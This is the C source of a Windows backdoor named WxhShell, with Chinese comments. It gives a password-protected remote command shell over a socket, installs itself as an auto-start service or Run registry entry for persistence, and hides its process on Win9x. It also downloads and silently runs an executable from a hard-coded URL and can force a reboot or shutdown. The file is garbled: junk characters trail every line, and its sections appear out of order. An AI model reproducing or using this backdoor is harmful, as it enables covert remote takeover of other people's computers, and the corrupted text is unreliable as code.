    if(Boot(SHUTDOWN)) bMv[.Z@v(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \%V !& !'  
    else { S?OCy4dk:  
    closesocket(wsh); Z/4bxO=m  
    ExitThread(0); %5@> nC?`[  
    } :1@jl2,  
    break; kr!>rqN5  
    } N3oa!PE  
  // 获取shell av:%wJUl,$  
  case 's': { hFhC&2HN  
    CmdShell(wsh); [kqO6U  
    closesocket(wsh); <i`s)L  
    ExitThread(0); X;#Ni}af  
    break; 7-\wr^ll3  
  } we@*;k@_  
  // 退出 U!JmSP  
  case 'x': { Xf mN/j2  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Wvl'O'R  
    CloseIt(wsh); =@X?$>'  
    break; Y@T$O<*  
    } '0&HkM{ D  
  // 离开 %dhrXK5  
  case 'q': { 1' dZ?`O  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); TB84}  
    closesocket(wsh); QA)W(1  
    WSACleanup(); |8GLS4.]t  
    exit(1); .1ep8O<  
    break; #cb9g   
        } wjT#D|soI  
  } BuxU+  
  } 'AmA3x)9u  
y$6EEp  
  // 提示信息 Y/pK  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1YU?+K  
} ~~I]SI k{  
  } #'RfwldD9  
) M(//jX  
  return; b !nA.`T  
} ~*Y/#kPY  
!<b+7 A  
// shell模块句柄 O-P`HKr  
int CmdShell(SOCKET sock) wi[FBLB/8  
{ <dz_7hR"  
STARTUPINFO si; tq=M 9c  
ZeroMemory(&si,sizeof(si)); WE-+WC!!:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; w7vQ6jkH  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -Y N( j \  
PROCESS_INFORMATION ProcessInfo; 0}T 56aD=!  
char cmdline[]="cmd"; j W[EjhsH  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &?}h)U#:  
  return 0; wOrj-Smx  
} %?8.UW\m  
fWDTP|DV  
// 自身启动模式 zgn`@y2  
int StartFromService(void) (IA:4E}  
{ -OKXfN]  
typedef struct U<'z, Px6  
{ IA}.{zY~|  
  DWORD ExitStatus; Kf)$/W4  
  DWORD PebBaseAddress; s= z$;1C  
  DWORD AffinityMask; rm|,+ {  
  DWORD BasePriority; |O"Pb`V+  
  ULONG UniqueProcessId; 'gsO}xj  
  ULONG InheritedFromUniqueProcessId; {e0aH `me  
}   PROCESS_BASIC_INFORMATION; (dV7N  
*)HVK&'  
PROCNTQSIP NtQueryInformationProcess; F`+S(APT8  
[DTe  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; F#qc#s  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; V gy12dE  
7~QAprwVS  
  HANDLE             hProcess; >gn@NJ2N  
  PROCESS_BASIC_INFORMATION pbi; xr!A>q+@i  
4e?cW&  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); m+ #G*  
  if(NULL == hInst ) return 0; aFh'KPhe  
G,(Xz"`,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); L%pAEoSG  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7&L8zl|K  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >Tn[CgH]7  
j2 >WHh  
  if (!NtQueryInformationProcess) return 0; @ W q8AFo  
>}u#KBedE  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); m&s;zQ  
  if(!hProcess) return 0; gs~u8"B  
piIGSC  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; X 3ZKN;  
?b(DDQMf  
  CloseHandle(hProcess); M,Lq4bz  
f.R;<V.)  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); R m2M  
if(hProcess==NULL) return 0; n~i^+pD@  
;B :\e8  
HMODULE hMod; >9<rc[  
char procName[255]; XqcNFSo)  
unsigned long cbNeeded; Jr>Nc}!U  
^{E_fQJX  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Vu<mOuh  
OSC_-[b-  
  CloseHandle(hProcess); ye| 2gH  
=Prz|   
if(strstr(procName,"services")) return 1; // 以服务启动 C"k]U[%{  
.wtYost v  
  return 0; // 注册表启动 zT hut!O  
} e)F_zX  
KT<N ;[;  
// 主模块 q1|@v#kH6  
int StartWxhshell(LPSTR lpCmdLine) ;\T~Hc}&;  
{ u(`7F(R  
  SOCKET wsl; e.!~7c_z?  
BOOL val=TRUE; W,nn,%  
  int port=0; 1X?q4D"  
  struct sockaddr_in door; 4k6:   
qJXf c||Zg  
  if(wscfg.ws_autoins) Install(); |CBJ8],mT  
q1/mp){  
port=atoi(lpCmdLine); ;Z,l};b  
MA7&fNjB  
if(port<=0) port=wscfg.ws_port; #vPk XcP  
grJ(z)c  
  WSADATA data; w&&)v~Y_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .O{_^~w_q  
@DAaCF8  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   .e5rKkkT  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); q+XU Cnv  
  door.sin_family = AF_INET; MLmv+  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ` ^z l =  
  door.sin_port = htons(port); of`WP  
3BB/u%N}  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { yv> 6u7  
closesocket(wsl); ]:4\ rBR3  
return 1; @ZcI]G%  
} !zfV (&  
j<L!(6B  
  if(listen(wsl,2) == INVALID_SOCKET) { O%Qz6R  
closesocket(wsl); SQJ4}w>i  
return 1; #*}cc  
} rFto1m  
  Wxhshell(wsl); miY=xwK&  
  WSACleanup(); ED A6b]  
 b|Eo\l2  
return 0; 3E8 Gh>J_  
t0 T#Xb  
} C3C&hq\%  
`O?j -zR  
// 以NT服务方式启动 W{kTM4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [Lf8*U"  
{ 4&B|rf  
DWORD   status = 0; *+J`Yk7}  
  DWORD   specificError = 0xfffffff; O+~@ S~  
\Oe8h#%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; o~VZ%B  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `Z (`  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Z$K[e  
  serviceStatus.dwWin32ExitCode     = 0; $rQi$w/  
  serviceStatus.dwServiceSpecificExitCode = 0; B)qcu'>iy  
  serviceStatus.dwCheckPoint       = 0; ;]%Syrzp  
  serviceStatus.dwWaitHint       = 0; 4uv*F:eo  
74KR.ABd  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Z%VgAV>>  
  if (hServiceStatusHandle==0) return; Lo +H&-  
G-DOI  
status = GetLastError(); s09&A]G  
  if (status!=NO_ERROR) _2<d6@}  
{ x0q `Uc  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; qK&h$;~*y  
    serviceStatus.dwCheckPoint       = 0; ^O3p:X4u  
    serviceStatus.dwWaitHint       = 0; |b|bL 7nx  
    serviceStatus.dwWin32ExitCode     = status; U+@rLQ.-  
    serviceStatus.dwServiceSpecificExitCode = specificError; ?a~#`<  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); -L2% ,.E>4  
    return; zY&/lWW._  
  } I -V=Z:  
z*/}rk4i  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; f5#VU7=1F2  
  serviceStatus.dwCheckPoint       = 0; :j;_Xw  
  serviceStatus.dwWaitHint       = 0; &t74T"(d  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); q&: t$tSS  
} !f# [4Xw  
b*cVC^{Dy  
// 处理NT服务事件,比如:启动、停止 6 $+b2&V  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2 57q%"  
{ ->&amPv  
switch(fdwControl) ^:o^g'Yab  
{ DA/ \[w?J  
case SERVICE_CONTROL_STOP: /6#i$\ j  
  serviceStatus.dwWin32ExitCode = 0; 2S-z$Bi}]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; h x hl  
  serviceStatus.dwCheckPoint   = 0; ?"T *{8  
  serviceStatus.dwWaitHint     = 0; dijHi  
  { qD5)AdCGO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F6 f  
  } ,<=_t{^  
  return; t~ z;G%a  
case SERVICE_CONTROL_PAUSE: _z& H O  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; TiSV`V q  
  break; ??g = `yH  
case SERVICE_CONTROL_CONTINUE: -VZ? c  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8?$XT  
  break; Opf^#6'mq  
case SERVICE_CONTROL_INTERROGATE: X"v)9 p  
  break; Vpf7~2[q%  
}; E <h9o>h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #h2 qrX&+  
} .&n;S';"  
lAPPn g`  
// 标准应用程序主函数 =b#,OXQ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ZG_iF#  
{ r%` |kN  
4tFnZ2x  
// 获取操作系统版本 >W=^>8u  
OsIsNt=GetOsVer(); 0|`iop%(n  
GetModuleFileName(NULL,ExeFile,MAX_PATH); +(##B pC  
wRQMuFGY  
  // 从命令行安装 gqACIXR  
  if(strpbrk(lpCmdLine,"iI")) Install(); 3qwSm <  
_S6SCSFc  
  // 下载执行文件 L7$1rO<  
if(wscfg.ws_downexe) { 2<^eVpNJR  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -|/*S]6kK  
  WinExec(wscfg.ws_filenam,SW_HIDE); 0J 1&6b  
} Hc-Ke1+  
&^])iG,Ew  
if(!OsIsNt) { p`oHF  5  
// 如果时win9x,隐藏进程并且设置为注册表启动 &uG@I=}TIY  
HideProc(); cmbl"Pqy1  
StartWxhshell(lpCmdLine); F!ra$5u  
} @i@f@.t  
else r_M5:Rz  
  if(StartFromService()) ;%$wA5"2M  
  // 以服务方式启动 G'6f6i|<I@  
  StartServiceCtrlDispatcher(DispatchTable); ^1z)\p1  
else =-n7/  
  // 普通方式启动 8POLp9>X  
  StartWxhshell(lpCmdLine); lxOUV?m^N  
p!2t/XIM  
return 0; qJEtB;J'  
} ~DUOL ~E  
`Bv, :i  
')~[J$qz  
^TCfj^FP  
=========================================== -n`2>L1  
.7MLgC;  
NLO&.Q]#  
MGSD;Lgn  
hO4* X  
!i?aRI/6  
" ,L^ag&!4  
&8QkGUbS<  
#include <stdio.h> j'nrdr6n  
#include <string.h> j+NpQ}t:  
#include <windows.h> !9.`zW"40  
#include <winsock2.h> ;2iDa  
#include <winsvc.h> ]d50J@W c  
#include <urlmon.h> (, 2U?p  
/3Cd P'c  
#pragma comment (lib, "Ws2_32.lib") x.aqy'/`  
#pragma comment (lib, "urlmon.lib") uKd79[1  
ak]H|D" 9  
#define MAX_USER   100 // 最大客户端连接数 >Gxh=**F  
#define BUF_SOCK   200 // sock buffer %vjfAdC  
#define KEY_BUFF   255 // 输入 buffer A7sva@}W  
UpCkB}OhR1  
#define REBOOT     0   // 重启 6eAJ >9@x  
#define SHUTDOWN   1   // 关机 =FXq=x%9+  
t{Gc,S!]5  
#define DEF_PORT   5000 // 监听端口 \xexl1_;  
_f<#+*y  
#define REG_LEN     16   // 注册表键长度 55vI^SSA  
#define SVC_LEN     80   // NT服务名长度 hC...tk  
,(&5y:o  
// 从dll定义API 4W36VtQ@E  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); I"r[4>>B>0  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Z6_E/S  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); nO .:f  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); K.::P84m;  
3B[u2o>  
// wxhshell配置信息 ;$rh&ET  
struct WSCFG { %3 VToj@`>  
  int ws_port;         // 监听端口 1agI/R  
  char ws_passstr[REG_LEN]; // 口令 Kma-W{vGD  
  int ws_autoins;       // 安装标记, 1=yes 0=no ;@G5s+<l  
  char ws_regname[REG_LEN]; // 注册表键名 h&m4"HBL_  
  char ws_svcname[REG_LEN]; // 服务名 $o>6Io|D  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Ls(l  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 udGZ%Mr_  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 s. jcD  
int ws_downexe;       // 下载执行标记, 1=yes 0=no m0+'BC{$u  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" tY6QhhuS:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5u&hp  
"y$s`n4Mj  
}; d m$iiRY  
[rtMx8T  
// default Wxhshell configuration 5WU ? Km  
struct WSCFG wscfg={DEF_PORT, 7G5VwO  
    "xuhuanlingzhe", 8Xk,Nbcqt  
    1, qBXIR }  
    "Wxhshell", yc3i> w`  
    "Wxhshell", W)fh}|.5  
            "WxhShell Service", DyPb]Udb:  
    "Wrsky Windows CmdShell Service", QN OA66  
    "Please Input Your Password: ", \4roM1&[  
  1, u^]Z{K_B  
  "http://www.wrsky.com/wxhshell.exe", I=}pT50~9  
  "Wxhshell.exe" 1\ab3n  
    }; )5U2-g#U  
DYaOlT(rE  
// 消息定义模块 |n+ ` t?L^  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~ U`|+ 5  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 'v'=t<wgl  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; l\1_v7s  
char *msg_ws_ext="\n\rExit."; &1,{.:@e  
char *msg_ws_end="\n\rQuit."; WiCJhVF3  
char *msg_ws_boot="\n\rReboot..."; Qvhz$W[P>  
char *msg_ws_poff="\n\rShutdown..."; 7F 1nBd  
char *msg_ws_down="\n\rSave to "; <Z\j#p:  
B*T;DE   
char *msg_ws_err="\n\rErr!"; i4r8146D[  
char *msg_ws_ok="\n\rOK!"; U A}N  
|t&gyj  
char ExeFile[MAX_PATH]; vFg X]&bE  
int nUser = 0; '"fZGz?  
HANDLE handles[MAX_USER]; D}A>`6W<  
int OsIsNt; rwvCp_pN.  
>'|Wrz67Z  
SERVICE_STATUS       serviceStatus; Nkg^;-CV0  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; #JW~&;  
(GXFPEH8  
// 函数声明 mM)d`br  
int Install(void); YKG}4{T  
int Uninstall(void); [pYjH+<  
int DownloadFile(char *sURL, SOCKET wsh); px=r~8M9}  
int Boot(int flag); &)#bdt[  
void HideProc(void); 7/GL@H  
int GetOsVer(void); ,G!mO,DX  
int Wxhshell(SOCKET wsl); o1]ZeF  
void TalkWithClient(void *cs); 1OW#_4w/  
int CmdShell(SOCKET sock); Q<d|OX  
int StartFromService(void); /dq(Z"O_  
int StartWxhshell(LPSTR lpCmdLine); b 3i34,  
#>\%7b59>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); T@\%h8@~]  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); I18<brZJ  
tA]Y=U+Q  
// 数据结构和表定义 Q2nqA1sRk  
SERVICE_TABLE_ENTRY DispatchTable[] = ;}E$>]*Yn  
{ UJhUb)}^  
{wscfg.ws_svcname, NTServiceMain}, 'NDDj0Y  
{NULL, NULL} M5<c HE  
}; _&|<(m&."  
%r >Y)@$Vt  
// 自我安装 X8212[7  
int Install(void) ]d -U  
{ fs6 % M]u  
  char svExeFile[MAX_PATH]; kl i)6R<  
  HKEY key; T@x_}a:g  
  strcpy(svExeFile,ExeFile); <n{-& ;>  
;LE9w^>^V  
// 如果是win9x系统,修改注册表设为自启动 >}'WL($5U  
if(!OsIsNt) { W@FRKDixG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tB==v{t  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `g!NFp9q  
  RegCloseKey(key); Tmr %r'i3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >^ijj`{d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hz*H,E!>  
  RegCloseKey(key); z`KP }-  
  return 0; 8bI;xjK^Q  
    } pA?2UZ  
  } +je{%,*  
} @]xH t&j  
else { drK &  
,R2;oF_  
// 如果是NT以上系统,安装为系统服务 Lc5I?}:;L  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ZAa:f:[#f  
if (schSCManager!=0) KW-g $Ma  
{ pCt0[R;?  
  SC_HANDLE schService = CreateService Z2^B.r#  
  ( fe$OPl~  
  schSCManager, Ch,%xs.)G  
  wscfg.ws_svcname, m(eR Wx&pZ  
  wscfg.ws_svcdisp, Bl!R bh\  
  SERVICE_ALL_ACCESS, j=5hW.fI  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , >{@:p`*  
  SERVICE_AUTO_START, {u{8QKeC  
  SERVICE_ERROR_NORMAL, jz"-E  
  svExeFile, )9'Zb`n  
  NULL, PWbi`qF)r  
  NULL, odNHyJS0  
  NULL, c3q @]|aI  
  NULL, 9G=HG={  
  NULL CWW|?  
  ); v!77dj 6I  
  if (schService!=0) 85 <%L:EC  
  { /Ym!%11`  
  CloseServiceHandle(schService); >P[BwL]  
  CloseServiceHandle(schSCManager); tX 3y{W10"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); A&/VO$Y9wp  
  strcat(svExeFile,wscfg.ws_svcname); IBSoAL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { mj _ V6`m4  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6V^KOG  
  RegCloseKey(key); oES4X{,  
  return 0; ST7Xgma-  
    } Fb&WwGY,P  
  } m?_@.O@]  
  CloseServiceHandle(schSCManager); A ^U`c'$  
} 1G62Qu$O  
} 4oywP^I  
t o2y#4'.  
return 1; UgAG2  
} vQhi2J'  
ruK, Z,3Q  
// 自我卸载 fgEMn;  
int Uninstall(void) ;/|3U7{c  
{ >C"QV `+  
  HKEY key; /{HK0fd  
> J>|+W  
if(!OsIsNt) { F|{F'UXj|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #23m_w^L  
  RegDeleteValue(key,wscfg.ws_regname); 4 N{5i )  
  RegCloseKey(key); *^t7?f[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vg ^&j0  
  RegDeleteValue(key,wscfg.ws_regname); y&{ Z"+B5  
  RegCloseKey(key); d0CFMy6  
  return 0; 7UA|G2Zr  
  } j3yz"-53e  
} rN5;W  
} JwM Fu5@  
else { >$dkA\&p  
k:k!4   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); BLQD=?Q  
if (schSCManager!=0) h(H b+7g  
{ TVEFZ\p<A  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Y~+`F5xX<  
  if (schService!=0) 1?N$I}?  
  { dpI9DzA;  
  if(DeleteService(schService)!=0) { ;1[Lwnm  
  CloseServiceHandle(schService); D>).^>|q  
  CloseServiceHandle(schSCManager); l<YCX[%E  
  return 0; ZFO*D79:K  
  } g{%2*{;i  
  CloseServiceHandle(schService); _rjLCvv-  
  } r]'Q5l4j6"  
  CloseServiceHandle(schSCManager); I!uGI  
} 1?5UVv_F  
} 1l`$.k  
q26%Z)'nf  
return 1; xFy%&SKHg  
} K`% I!Br  
@!zT+W&  
// 从指定url下载文件 cA]Ch>]A%  
int DownloadFile(char *sURL, SOCKET wsh) >( :b\*C  
{ Pu7cL  
  HRESULT hr; At=l>  
char seps[]= "/"; 2W]y9)<c  
char *token; qtLXdSc  
char *file; jYi{[* *  
char myURL[MAX_PATH]; iJD_ qhd7  
char myFILE[MAX_PATH];  }j /r  
Q($aN-   
strcpy(myURL,sURL); 2lm{:tS  
  token=strtok(myURL,seps); *N|s+  
  while(token!=NULL) Gaxa~?ek  
  { a{%]X(';  
    file=token; Y^P'slY{%  
  token=strtok(NULL,seps); b/g"ws_  
  } ]p sx\ZMa  
e:H9!  
GetCurrentDirectory(MAX_PATH,myFILE); SuU %x2  
strcat(myFILE, "\\"); jQ[M4)>_k`  
strcat(myFILE, file); +HxL>\  
  send(wsh,myFILE,strlen(myFILE),0); OlI{VszR  
send(wsh,"...",3,0); eg vgi?y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _$Hx:^p:  
  if(hr==S_OK) KB^i=+xr  
return 0; &?@5G  
else wBK%=7  
return 1; uRu)iBd D  
M$Of.  
} CWk65tcF  
b+`mh  
// 系统电源模块 >4lT0~V/  
int Boot(int flag) _Z|3qQ  
{ |+0XO?,sZ  
  HANDLE hToken; F&I ;E i  
  TOKEN_PRIVILEGES tkp; .0zNt  
"p{cz(  
  if(OsIsNt) { rtM!|apr  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); zxr|:KC ?&  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); YN@ 4.&RP  
    tkp.PrivilegeCount = 1; %95'oW)lo  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; zz+p6`   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;Pi-H,1b  
if(flag==REBOOT) { Sn lKPd  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &R "Q  
  return 0; A+Xk=k5<  
} #=hI}%n  
else { $SmmrM  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =1}Umn|ZLS  
  return 0; C'c9AoE5>  
} p#V h[UTl^  
  } HX3R@^vo  
  else { <Y9xHn&  
if(flag==REBOOT) { Uc3-n`C  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) URFp3qE  
  return 0; = NHzh!  
} =(~UK9`  
else { h^D]@H  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) - ^sbf.  
  return 0; KiJRq>  
} M9/c8zZ  
} YIQm;E EG  
8,,$C7"EP  
return 1; :2KLziO2  
} x{X(Y]*1S  
jB17]OCN  
// win9x进程隐藏模块 H -sJt:  
void HideProc(void) 1.Ximom  
{ 8SGFzb! h  
WYb\vm =r  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); v{}i`|~J  
  if ( hKernel != NULL ) '$3]U5KOwK  
  { exqFwmhh  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); R`F54?th  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); m"<Sb,"x!  
    FreeLibrary(hKernel); ORV~F0d<  
  } SJtQK-%wK>  
Qv%"iSe~J  
return; to1{7q  
} >_Dq)n;%  
D9;2w7v  
// 获取操作系统版本 DJ)z~W2I*  
int GetOsVer(void) R N1q/H|  
{ Bw31h3yB  
  OSVERSIONINFO winfo; rSUarfZ<  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); GN4'LU  
  GetVersionEx(&winfo); K{}U[@_tS  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) hy"O_Le  
  return 1; @,<@y>m7  
  else _JZw d9K  
  return 0; W -Yv0n3  
} g{zvks~it  
D~~&e<v'1  
// 客户端句柄模块 w~NQAHAvo  
int Wxhshell(SOCKET wsl) =""z!%j  
{ P9)E1]Dc$  
  SOCKET wsh; Z.b}   
  struct sockaddr_in client; iwnctI  
  DWORD myID; Zr0bVe+h  
B>3joe}  
  while(nUser<MAX_USER) |&+0Tg~ZE  
{ Fq6sl}b(On  
  int nSize=sizeof(client); Tl^9!>\Q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @O/Jy2>3H  
  if(wsh==INVALID_SOCKET) return 1; 5U&b")3IT!  
K85;7R5  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }7>r,  
if(handles[nUser]==0) <n4T*  
  closesocket(wsh); &@O]'  
else [X'XxYbZ  
  nUser++; qn VxP&  
  } .{` :  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); W=fw*ro  
.5ap9li]  
  return 0; B \U9F5  
} wo($7'.@  
N02X*NC  
// 关闭 socket 0j^QY6  
void CloseIt(SOCKET wsh) :Yi1#  
{ @5!Mr5;  
closesocket(wsh); y9cDPwi:b  
nUser--; }fps~R  
ExitThread(0); R36BvW0X  
} :}\w2W E[  
?v4-<ewD  
// 客户端请求句柄 qB57w:J  
void TalkWithClient(void *cs) ra L!}  
{ =.=4P~T&  
V _(L/6  
  SOCKET wsh=(SOCKET)cs; 9qUc{ydt  
  char pwd[SVC_LEN]; ,f@$a3}'Lx  
  char cmd[KEY_BUFF]; "HCJ!  
char chr[1]; cFcn61x-  
int i,j; rBd}u+:*  
5OUGln5  
  while (nUser < MAX_USER) { "~R,%sYb(  
f}JiYZ  
if(wscfg.ws_passstr) { h0}= C_.^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F)ak5  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {:U zW\5l)  
  //ZeroMemory(pwd,KEY_BUFF); O)y|G%O  
      i=0; J<g$hk  
  while(i<SVC_LEN) { ;JM%O8  
q\2q3}n  
  // 设置超时 dW K; h  
  fd_set FdRead; J#h2~Hz!  
  struct timeval TimeOut; = GN1l[X  
  FD_ZERO(&FdRead); 3/rEXKS  
  FD_SET(wsh,&FdRead); 0p"l}Fu@`  
  TimeOut.tv_sec=8; < Y5pAStg  
  TimeOut.tv_usec=0; 4e6x1`Y{xB  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); KxyD{W1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); SG:Fn8  
bC_qoI<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K(&I8vAp  
  pwd=chr[0]; KIY/nu   
  if(chr[0]==0xd || chr[0]==0xa) { tPv3nh  
  pwd=0; dQX<X}  
  break; 9 7/"5i9  
  } =:)p\{B  
  i++; }HO3D.HE^  
    } ,8~q nLy9  
'Z(KE2&?  
  // 如果是非法用户,关闭 socket ?T]` X  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6n[O8^  
} EW$.,%b1  
,"MR A  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |;~kHc$W  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <SK%W=  
5 )tDgm  
while(1) { >3{#S:  
q1rBSlzN  
  ZeroMemory(cmd,KEY_BUFF); DRp h?V\  
Mnj\t3:  
      // 自动支持客户端 telnet标准   9|kc$+(+6  
  j=0; V*xo3hU  
  while(j<KEY_BUFF) { Hz?C9q3BX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \<cs:C\h7  
  cmd[j]=chr[0]; v[k;R  
  if(chr[0]==0xa || chr[0]==0xd) { ZGILV  
  cmd[j]=0; /INjP~C  
  break; $KSdNFtM)A  
  } <+7]EwVcn^  
  j++; BHmmvbM#Qm  
    } qDG{hvl[1r  
Pu|PIdu!08  
  // 下载文件 (R'GrN>  
  if(strstr(cmd,"http://")) { mEL<d,XhI  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); .<#oLM^  
  if(DownloadFile(cmd,wsh)) yf > rG  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 79m',9{u  
  else ;Jh=7wx  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jXa;ovPK  
  } $#z ` R;  
  else { c(@(j8@S  
_wp>AJ r  
    switch(cmd[0]) { @ Sq =q=S  
  prIPPeMdz  
  // 帮助 a ~  
  case '?': { !?AgAsSmc  
